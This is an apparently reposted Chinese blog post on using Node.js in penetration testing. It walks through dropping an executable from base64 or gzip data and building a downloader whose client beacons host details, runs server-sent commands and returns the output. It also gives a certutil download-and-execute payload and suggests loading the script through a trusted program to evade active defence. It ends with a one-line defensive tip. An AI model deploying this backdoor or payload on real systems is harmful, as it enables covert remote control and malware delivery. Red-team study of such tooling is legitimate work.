渗透测试中的 Node.js——Downloader 的实现

发布于 2025-02-26 06:41:45 字数 10749 浏览 3 评论 0

0x00 前言

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。

我最近在一篇文章中学到了利用 Node.js 绕过主动防御的技巧,于是对 Node.js 的语法进行了学习,开源一个 Downloader 的实现代码,分享脚本开发中需要注意的细节。

Node.js 绕过主动防御的学习地址:https://bbs.pediy.com/thread-249573.htm

0x01 简介

本文将要介绍以下内容:

  • 基本概念
  • 利用 Node.js 实现的文件释放
  • 利用 Node.js 实现的 downloader
  • 利用思路
  • 防御建议

0x02 基本概念

Node.js 同 JavaScript 的区别

JavaScript 是一门语言

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境

虽然在 Windows 平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同

Node.js 的使用

在 Windows 平台下,Node.js 代码保存在.js 后缀名的文件中,通过 node.exe 加载执行

Node.js 支持第三方包,可通过 npm 命令安装模块,实例如下:

安装 web 框架模块 express:

npm install express

使用模块 express:

var express = require('express');

注:本文涉及的代码均不使用第三方包,只使用安装包中的 node.exe

0x03 利用 Node.js 实现的文件释放

实现思路:

将 exe 文件做 base64 编码存储在文件中,释放时先读取文件进行解码,最后写入文件

1. 读取文件内容,做 base64 编码并输出到 data.txt

function base64_encode(file) {
    var fs = require('fs');
    var data = fs.readFileSync(file);
    return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

注:fs.readFileSync 表示同步读取,异步读取使用 fs.readFile

执行:

node.js base64encode.js >data.txt

2. 读取 data.txt 中保存的加密字符串,base64 解码并生成新的文件 test2.exe

function base64_decode(base64str, file) {
    var data = Buffer.from(base64str, 'base64');
    fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

注:使用代码 var base64str = fs.readFileSync('data.txt'); 在读取文件后,变量 base64str 需要强制转换成字符串类型,即 base64str.toString()

为了缩小文件长度,加入压缩算法 gzip

1. 读取 test.exe 中的内容,做 gzip 压缩后保存到文件 data.gz

function gunzip(sourcePath) {
    var zlib = require('zlib');
    var fs = require('fs');
      var unzip = zlib.createGunzip(); 
      var rs = fs.createReadStream(sourcePath); 
      var ws = fs.createWriteStream('test2.exe');
      rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. 读取 data.gz 中的内容,做 gzip 解压缩后保存到文件 test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
  var unzip = zlib.createGunzip(); 
  var rs = fs.createReadStream(sourcePath); 
  var ws = fs.createWriteStream('test2.exe');
  rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 利用 Node.js 实现的 downloader

实现思路:

1. Server

  • 监听指定端口,等待客户端连接,记录客户端的 IP、连接时间和 post 数据
  • 对客户端的数据包进行筛选,对符合条件 1 的客户端返回控制命令,对符合条件 2 的客户端在当前控制台显示客户端发来的命令执行结果,否则返回 404 页面

2. Client

  • 连接指定服务器,发送固定格式的 post 数据,包括当前系统的主机名和操作系统版本
  • 接收服务器返回的控制命令,执行后将结果再次发送到服务器
  • 如果服务器未响应,等待一段时间后再次发送 post 请求

需要考虑如下问题:

1. 通过 Node.js 执行 cmd 命令

function runcmd(command) {
    var childprocess = require('child_process');
    childprocess.exec(command, (err, stdout, stderr) => {
      if (err) {
            console.error(err);
            return;
      }
      console.log(stdout);
    });
}
runcmd('whoami');

2. HTTP 通信的实现

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
        var body = '';
        console.log('req.url:',req.url);
        req.on('data', function (chunk) {
        body += chunk;
            console.log("chunk:",chunk);
        });
        req.on('end', function () {
            body = querystring.parse(body);  
            console.log('body:',body);
            res.write('Message from server');
            res.end();
        });
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
    var http = require('http');    
    var querystring = require('querystring');
    var contents = querystring.stringify({
            data1:'str1',
            data2:'str2'    
    });
    var options = {
            host: host1,
            port: port1,
            path: '/',
            method:'POST',
            headers:{
                'Content-Type':'application/x-www-form-urlencoded',
                'Content-Length':contents.length
            }
    }
    console.log('post options:\n',options);
    console.log('content:',contents);

    var req = http.request(options, function(res){
            console.log('headers:', res.headers);
            var data1='';
            res.on('data', function(chunk){
                  data1 += chunk;
            });
            res.on('end', function(){
                  console.log('result:',data1)
            });
    });
    req.write(contents);
    req.end;
};
sendHello('127.0.0.1','3000');

Client 向 Server 发送 post 数据,内容为 data1=str1&data2=str2

Server 收到请求后,向 Client 回复的内容为 Message from server

3. sleep 的实现

Node.js 默认不支持 sleep 操作,这里可以自己实现:

function sleep(milliSeconds){
    var startTime =new Date().getTime();
    while(new Date().getTime()< startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

字符串类型转换为数字,可在前面加 +

4. Client 定时循环发送 post 请求

这里需要考虑异步和同步的问题

Node.js 是异步编程,但 Client 定时循环发送 post 请求需要使用同步实现,测试代码如下:

Server:

代码同上

Client:

function sleep(milliSeconds){
    var startTime =new Date().getTime();
    while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
    var http = require('http');    
    var querystring = require('querystring');
    var contents = querystring.stringify({
            data1:'str1',
            data2:'str2'    
    });
    var options = {
            host: host1,
            port: port1,
            path: '/',
            method:'POST',
            headers:{
                'Content-Type':'application/x-www-form-urlencoded',
                'Content-Length':contents.length
            }
    }
    console.log('post options:\n',options);
    console.log('content:',contents);

    var req = http.request(options, function(res){
            console.log('headers:', res.headers);
            var data1='';
            res.on('data', function(chunk){
                  data1 += chunk;
            });
            res.on('end', function(){
                  console.log('result:',data1)
            });
    });
    req.write(contents);
    req.end;
};
while (true)
{
    console.log('1');
    sleep(5000);
    sendHello('127.0.0.1','3000');
}

期待的结果:

Clinet 每隔 5 秒发送一个 post 请求,接收结果

实际的结果:

每隔 5 秒执行一次循环,但 Clinet 没有发出请求

由于我们最初的设想是不使用 npm,所以也无法使用 async 模块实现同步

最终,我通过方法嵌套解决了同步问题,示例如下:

function sleep(milliSeconds){
    var startTime =new Date().getTime();
    while(new Date().getTime()< startTime + milliSeconds);
}
function A(){
    console.log('A');
    B();    
}
function B(){
    console.log('B');
    sleep(5000);
    A();    
}
A();

5. Server 显示 Client 的 IP

代码如下:

function getClientIp(req) {
        return req.headers['x-forwarded-for'] ||
        req.connection.remoteAddress ||
        req.socket.remoteAddress ||
        req.connection.socket.remoteAddress;
};

默认为格式为 ipv6,例如:

::ffff:127.0.0.1

可以通过修改 listen 的参数指定为 ipv4

修改前:

.listen(3000);

修改后:

.listen(3000,'0.0.0.0');

6. Server 判断 post 请求,不符合要求的回复 404

对 body 的内容进行判断即可

完整实现代码已开源,地址:

https://github.com/3gstudent/NodeJS-Downloader

注:开源的代码仅仅是一个示例,用作演示 NodeJS 的功能

用法如下:

需要先获得 node.exe,下载地址: https://nodejs.org/en/download/

1. 编辑文件 Server.js

可编译以下内容:

  • 向 Client 发送的命令: var command
  • 监听端口: .listen(80,'0.0.0.0');

2. 启动 Server

node.exe Server.js

监听指定端口,等待客户端连接,记录客户端的 IP、连接时间和 post 数据

对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回 404 页面

3. 编辑文件 Client.js

可编译以下内容:

  • Server 的 IP: var serverip
  • Server 的端口: var serverport
  • 循环间隔时间: var timeinterval

4. 启动 Client

node.exe Client.js

Client 将会连接 Server,发送固定格式的 post 数据,包括当前系统的主机名和操作系统版本

接下来接收 Server 返回的控制命令,执行后将结果再次发送到 Server

如果 Server 未响应,等待一段时间后再次发送 post 请求

0x05 利用思路

1、开源的代码支持多种 payload

可将 payload 设置为下载文件并执行,例如

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

更多下载执行的命令可参考之前的文章 《渗透技巧——从 github 下载文件的多种方法》

注:发送 Client 退出的命令可使用:

var command = 'taskkill /f /im node.exe';

2、可被第三方可信程序加载

参考:https://bbs.pediy.com/thread-249573.htm

t.exe -> node.exe -> main.js

演示如图:

Alt text

0x06 防御建议

对 t.exe 的子进程(node.exe) 行为进行判断,如果有可疑行为进行拦截

0x07 小结

本文介绍了在开发 Node.js 代码时需要注意的细节,开源了一段 Downloader 的测试代码,用来演示 Node.js 的功能。

简要分析在渗透测试中的利用思路,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

木有鱼丸

暂无简介

文章
评论
27 人气
更多

推荐作者

闻呓

文章 0 评论 0

深府石板幽径

文章 0 评论 0

mabiao

文章 0 评论 0

枕花眠

文章 0 评论 0

qq_CrTt6n

文章 0 评论 0

红颜悴

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文